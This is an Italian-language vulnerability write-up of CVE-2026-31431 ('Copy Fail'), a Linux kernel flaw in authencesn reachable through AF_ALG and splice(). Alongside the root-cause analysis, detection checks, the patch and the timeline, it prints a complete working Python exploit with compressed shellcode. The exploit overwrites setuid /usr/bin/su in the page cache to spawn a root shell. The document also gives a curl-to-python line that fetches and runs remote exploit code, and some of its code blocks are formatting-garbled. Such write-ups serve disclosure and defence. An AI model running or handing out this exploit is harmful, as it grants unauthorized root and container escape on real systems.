
Una spiegazione strutturata di CVE-2026-31431 (Copy Fail), che collega le tre modifiche al kernel che hanno introdotto la vulnerabilità e ne hanno consentito lo sfruttamento.
Una falla logica in authencesn incatenata attraverso AF_ALG e splice() in una scrittura controllata di 4 byte nella cache delle pagine di qualsiasi file leggibile sul sistema. Nessuna condizione di gara, nessun offset, nessun payload compilato. Lo stesso script di 732 byte ottiene i privilegi di root su ogni distribuzione Linux dal 2017.
CVE-2026-31431 - Copy Fail è una falla logica nel template crittografico authencesn del kernel Linux. Consente a un utente locale non privilegiato di effettuare una scrittura controllata di 4 byte nella cache delle pagine di qualsiasi file leggibile sul sistema, senza modificare il file su disco.
Il bug non esiste in nessuno dei tre componenti individualmente. Emerge dalla loro interazione:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.
2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.
2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.
2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.
---
---
---
<div id='root-cause'/>
## ***🧬 Analisi della causa principale***
<div id='primitive'/>
### ***La primitiva AF_ALG + splice()***
AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) è un tipo di socket che espone l'API crittografica del kernel allo spazio utente non privilegiato. Un processo non privilegiato può:
1. Aprire un socket AF_ALG / SOCK_SEQPACKET.
2. Eseguire bind() su qualsiasi template AEAD disponibile esposto dall'API crittografica del kernel.
3. Impostare una chiave crittografica tramite setsockopt(SOL_ALG, ALG_SET_KEY, ...) sull'algoritmo configurato.
4. Chiamare accept() per ottenere un socket operativo dedicato che gestisce le richieste di crittografia e decrittografia.
5. Inviare dati creati usando sendmsg() e ricevere il risultato elaborato tramite recvmsg(), interagendo completamente con il sottosistema crittografico del kernel.
È abilitato per impostazione predefinita nella configurazione del kernel di tutte le principali distribuzioni (CONFIG_CRYPTO_USER_API_AEAD=y).
**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** trasferisce dati tra descrittori di file senza copiare - passa riferimenti alle pagine, non copie. Il flusso pertinente:```
open("/usr/bin/su") -> fd_file
pipe() -> pipe_rd, pipe_wr
# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)
# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
The TX scatterlist of the AF_ALG socket contains direct references to the same physical pages used by the kernel for every read(), mmap(), and execve() of the file. No copy is involved.
Commit 72548b093ee3, algif_aead.c. Per la decifratura, l'implementazione:
In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL
Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.
<div id='authencesn'/>
### ***La scrittura fuori dai limiti in authencesn***
authencesn è il wrapper AEAD del kernel utilizzato da IPsec con Extended Sequence Numbers (RFC 4303). IPsec utilizza numeri di sequenza a 64 bit:
- seqno_hi - 32 bit superiori (byte 0-3 del AAD)
- seqno_lo - 32 bit inferiori (byte 4-7 del AAD)
Solo seqno_lo viene trasmesso sul cavo; seqno_hi è contesto implicito. Per il calcolo HMAC, authencesn deve riorganizzare questi byte: seqno_hi all'inizio e seqno_lo alla fine dell'input di hash.
Esegue questa riorganizzazione utilizzando la scatterlist di destinazione del chiamante come spazio di lavoro:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */
// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
La chiamata [3] scrive 4 byte all'indirizzo dst[assoclen + cryptlen]. Il contratto di output dell'API AEAD per la decifratura è AAD || plaintext - esattamente assoclen + (cryptlen - authsize) byte. assoclen + cryptlen si trova oltre il tag di autenticazione. authencesn scrive in memoria di cui non è proprietario.
crypto_authenc_esn_decrypt_tail() legge seqno_lo per ricostruire il corretto AAD, ma non ripristina mai i byte originali a dst[assoclen + cryptlen]. La sovrascrittura è permanente, indipendentemente dal successo o fallimento del controllo HMAC.
Nessun altro algoritmo AEAD standard nel kernel si comporta in questo modo. GCM, CCM e authenc standard confinano strettamente le loro scritture alla regione di output legittima.
Nel percorso in-place post-2017 di algif_aead, la scatterlist passata come req->dst a authencesn ha la seguente struttura:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)
scatterwalk_map_and_copy non ha alcuna nozione di proprietà della pagina, semplicemente mappa qualsiasi pagina a cui punta lo scatterlist tramite kmap_local_page e vi scrive dentro. Con le pagine della cache di pagina presenti in req->dst, finisce per mappare la pagina cache di "/usr/bin/su" e scrivere seqno_lo direttamente nella copia in memoria del kernel del file.
L'HMAC viene calcolato sui byte riordinati e fallisce (il ciphertext è controllato dall'attaccante). recvmsg() restituisce un errore. La scrittura di 4 byte nella cache di pagina persiste.
---
<div id='scatterlist'/>
### ***Attraversamento dello scatterlist nelle pagine della cache di pagina***```c
struct scatterlist {
unsigned long page_link; // physical page + flags (SG_END, SG_CHAIN)
unsigned int offset; // offset within the page
unsigned int length; // bytes in this entry
};
// sg_chain(sgl_a, nents_a, sgl_b):
// sgl_a[nents_a-1].page_link |= SG_CHAIN;
// sgl_a[nents_a-1].page_link = (unsigned long)sgl_b;
// the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:
entry[0]: page=user_buf_page, offset=0, length=assoclen (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4 (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
|
v
page = page_cache_page_of_/usr/bin/su
offset = <tag offset within the file>
length = authsize (= 4)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4) <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)
La pagina non viene mai marcata come sporca (SetPageDirty / mark_page_accessed non vengono invocati in questo percorso). Il meccanismo di writeback del kernel non la scarica su disco. Il file su disco rimane invariato.
La primitiva di scrittura controllata di 4 byte nella cache della pagina si trasforma in un'escalation dei privilegi locale (LPE) completa:
Iterando la scrittura 4 byte alla volta, l'attaccante può applicare shellcode nella sezione .text di un binario setuid nella cache della pagina. execve() carica dalla cache della pagina, quindi il binario corrotto viene eseguito con UID 0.
La cache della pagina è condivisa sull'intero host, inclusi tutti i container. Copy Fail non è solo un LPE locale, è una primitiva di fuga dal container e un vettore di compromissione dei nodi Kubernetes.
| Ambiente | Rischio | Risultato |
|---|---|---|
| Host Linux multi-tenant | Critico | Qualsiasi utente → root |
| Kubernetes / container | Critico | Pod → host, cross-tenant |
| Runner CI (PR non fidati) | Critico | PR → root sul runner |
| Cloud SaaS che esegue codice utente | Critico | Tenant → root dell'host |
| Server single-tenant | Alto | LPE interno; concatenazione con RCE web |
| Workstation mono-utente | Medio | Escalation dei privilegi post-exploit |
Qualsiasi sistema Linux che esegue un kernel compilato tra il 2017 e la patch, con AF_ALG abilitato nella configurazione predefinita, che include effettivamente tutte le distribuzioni principali.
Verificato direttamente da Theori / Xint:
| Distribuzione | Kernel |
|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
Altre distribuzioni che eseguono kernel affetti (Debian, Arch, Fedora, Rocky, Alma, Oracle, target embedded) si comportano in modo identico, il bug risiede nel sottosistema crittografico condiviso, non in alcuna patch specifica della distribuzione.
Requisiti di sfruttamento:
uname -r
Se il kernel è stato compilato tra il 2017 e la patch (commit a664bf3d603d), il sistema è potenzialmente affetto. Verificare se la patch è presente:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image
# RHEL / Fedora / Amazon Linux
rpm -q kernel
# SUSE
zypper se -s kernel-default
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "
### ***3. Controlla se algif_aead è caricato***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"
Il seguente script verifica se il percorso vulnerabile è raggiungibile. Non effettua alcuna scrittura, verifica solo la disponibilità della superficie d'attacco:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys
def check_surface(): results = {}
# 1. Check if AF_ALG socket is available
try:
# AF_ALG, SOCK_SEQPACKET
s = socket.socket(38, 5, 0)
results['af_alg_socket'] = True
# 2. Try binding to authencesn (the vulnerable algorithm)
try:
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
results['authencesn_available'] = True
except OSError as e:
results['authencesn_available'] = False
results['authencesn_error'] = str(e)
s.close()
except OSError as e:
results['af_alg_socket'] = False
results['af_alg_error'] = str(e)
# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')
print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
marker = '[+]' if v is True else '[-]' if v is False else '[i]'
print(f" {marker} {k}: {v}")
if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
print("\n [!] SURFACE AVAILABLE - system exposes the full attack surface.")
print(" Verify whether the kernel includes patch a664bf3d603d.")
else:
print("\n [OK] Surface mitigated or not available.")
if name == "main": check_surface()
---
<div id='exploit'/>
## ***💣 Exploit***
Questo exploit è stato originariamente rilasciato da Theori / Xint Code insieme alla divulgazione pubblica il 29 aprile 2026.
- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **Official repository:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Requirements:** Python 3.10+, kernel vulnerabile, AF_ALG abilitato.```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279 # SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AUTHSIZE = 4
u, _ = a.accept()
o = t + 4
i = d('00')
# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
u.sendmsg(
[b"A" * 4 + c], # AAD: seqno_hi=0x41414141, seqno_lo=payload
[
(h, 3, i * 4), # ALG_SET_IV
(h, 2, b'\x10' + i * 19), # ALG_SET_OP=DECRYPT + params
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_AUTHSIZE
],
32768 # MSG_SENDPAGE_NOTLAST
)
# splice: delivers page cache pages from the target file into the AF_ALG socket
# The TX SGL of the socket will point directly to page cache pages
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # file -> pipe (reference to page cache page)
n(r, u.fileno(), o) # pipe -> AF_ALG socket (TX SGL points to page cache)
# recv: triggers decrypt in the kernel
# authencesn performs the scratch write -> 4 bytes written into the page cache
# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
try:
u.recv(8 + t)
except:
0
# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)
# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
c(f, i, e[i:i+4])
i += 4
# Execute the patched binary in memory - runs as UID 0
g.system("su")
curl https://copy.fail/exp | python3
python3 copy_fail_exp.py
python3 copy_fail_exp.py /usr/bin/passwd
id
---
---
---
<div id='walkthrough'/>
## ***🔬 Walkthrough dell'Exploit***
<div id='step1'/>
### ***Passo 1 - Impostazione del Socket***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
Il template authencesn è selezionato - l'unico algoritmo AEAD nel kernel che scrive al di fuori della sua regione di output legittima. Questa scelta è deliberata: GCM, CCM e authenc standard non attivano il bug.```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket
ALG_SET_AUTHSIZE = 4 imposta la dimensione del tag di autenticazione. Questo valore controlla direttamente dove dst[assoclen + cryptlen] finisce rispetto alla regione del tag nello scatterlist, e quindi quale offset all'interno della pagina della cache delle pagine viene sovrascritto.
<div id='step2'/>
### ***Step 2 - Costruisci la Scrittura***
Per ogni blocco di 4 byte del payload:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes
u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)
I byte 4-7 dell'AAD (seqno_lo) sono esattamente i 4 byte che authencesn scrive in dst[assoclen + cryptlen]. L'attaccante li costruisce con il valore di payload desiderato.
L'offset del file è controllato tramite parametri splice:```python
o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)
<div id='step3'/>
### ***Step 3 - Attiva la scrittura della cache di pagina***```python
try:
u.recv(8 + t)
except:
pass # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.
La chiamata recv() attiva l'operazione di decifratura all'interno del kernel. L'errore recvmsg() è previsto e irrilevante. La scrittura nella cache delle pagine è già avvenuta.
Dopo aver iterato su tutti i chunk del payload:``` os.system("su")
execve("/usr/bin/su"):
1. Il kernel carica il binario dalla cache delle pagine.
2. La pagina memorizzata nella cache contiene lo shellcode iniettato (il file su disco è invariato).
3. /usr/bin/su è setuid-root: il processo parte con UID effettivo 0.
4. Lo shellcode genera una shell di root.```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)
Tutti e tre appartengono alla stessa classe di attacchi: scrittura nella cache delle pagine da spazio utente non privilegiato, senza modificare il file su disco, per ottenere privilegi tramite un binario setuid. I loro meccanismi e vincoli differiscono significativamente.
Race condition nel percorso copy-on-write (COW) del sottosistema VM. Richiedeva la vittoria di una finestra TOCTOU, tentativi multipli, affidabilità variabile, occasionali crash. Kernel 2.6.22 a 4.8.3.
Abuso del flag PIPE_BUF_FLAG_CAN_MERGE nei buffer delle pipe per unire dati controllati dall'attaccante nella cache delle pagine. Deterministico, ma specifico per versione (kernel ≥ 5.8 con particolari patch).
Difetto logico lineare. Nessuna race condition, nessun offset per distribuzione, nessun payload compilato. Uno script Python di 732 byte che utilizza solo la libreria standard ottiene i permessi di root su tutte le principali distribuzioni dal 2017 al 2026.
| Dirty Cow | Dirty Pipe | Copy Fail | |
|---|---|---|---|
| Meccanismo | Race condition (COW) | Abuso flag pipe | Logica AEAD + scatterlist |
| Richiede race | Sì | No | No |
| Affidabilità | 30-80% | Alta | 100%, colpo singolo |
| Intervallo kernel | 2.6.22-4.8.3 | ≥5.8 (specifico) | 2017-2026 (~9 anni) |
| Offset per distr. | Sì | Alcuni | No |
| Payload compilato | Sì | No | No |
| Fuga dal container | No | No | Sì |
Il commit principale a664bf3d603d corregge 72548b093ee3 (l'ottimizzazione in-place del 2017)
La patch riporta algif_aead.c al funzionamento out-of-place. req->src e req->dst diventano di nuovo scatterlist separati. Le pagine della cache delle pagine consegnate tramite splice() rimangono nella SGL TX (req->src) in sola lettura. Il buffer RX - l'unica memoria in cui l'algoritmo crittografico può scrivere - è il buffer recvmsg dell'utente (req->dst). Il meccanismo sg_chain() che in precedenza concatenava le pagine tag (cache delle pagine) nella destinazione scrivibile viene rimosso.```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);
/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);
Il messaggio di commit afferma: "Non vi è alcun vantaggio nell'operare in-place in algif_aead poiché la sorgente e la destinazione provengono da mapping diversi."
---
---
---
<div id='timeline'/>
## ***📅 Cronologia della divulgazione***
| Data | Evento |
|------------|-----------------------------------------------------------|
| 2026-03-23 | Vulnerabilità segnalata al team di sicurezza del kernel Linux |
| 2026-03-24 | Conferma iniziale ricevuta |
| 2026-03-25 | Patch proposte e revisionate |
| 2026-04-01 | Patch integrata nel ramo mainline (a664bf3d603d) |
| 2026-04-22 | Assegnato CVE-2026-31431 |
| 2026-04-29 | Divulgazione pubblica, [copy.fail](https://copy.fail/) |
**Scoperto da:** Taeyang Lee presso [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
---
---
---
<div id='references'/>
## ***📚 Riferimenti***
- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
> Voce nel National Vulnerability Database.
- **[Copy Fail - Divulgazione ufficiale](https://copy.fail/)**
> Pagina di destinazione con FAQ, distribuzioni interessate, mitigazione e PoC.
- **[Theori / Xint Blog - Articolo completo](https://xint.io/blog/copy-fail-linux-distributions)**
> Causa principale, diagrammi scatterlist, catena storica (2011→2015→2017) e spiegazione dell'exploit.
- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
> Repository ufficiale contenente il PoC.
- **[Commit a664bf3d603d - correzione](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
> Ripristina l'ottimizzazione in-place di algif_aead.
- **[Commit 72548b093ee3 - causa principale (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
> Introduce l'ottimizzazione in-place che inseriva le pagine della cache di pagina nella destinazione scrivibile.
- **[Commit a5079d084f8b - introdotto authencesn (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
> Commit originale che aggiunge authencesn, stabilendo il pattern di scrittura scratch.
- **[Commit 104880a6b470 - authencesn migrato all'API AEAD (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
> Introduce l'offset assoclen + cryptlen che scrive al di fuori della regione legittima.
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
> Artefatto precedente nella classe di corruzione della cache di pagina / Esecuzione Privilegiata Locale (LPE).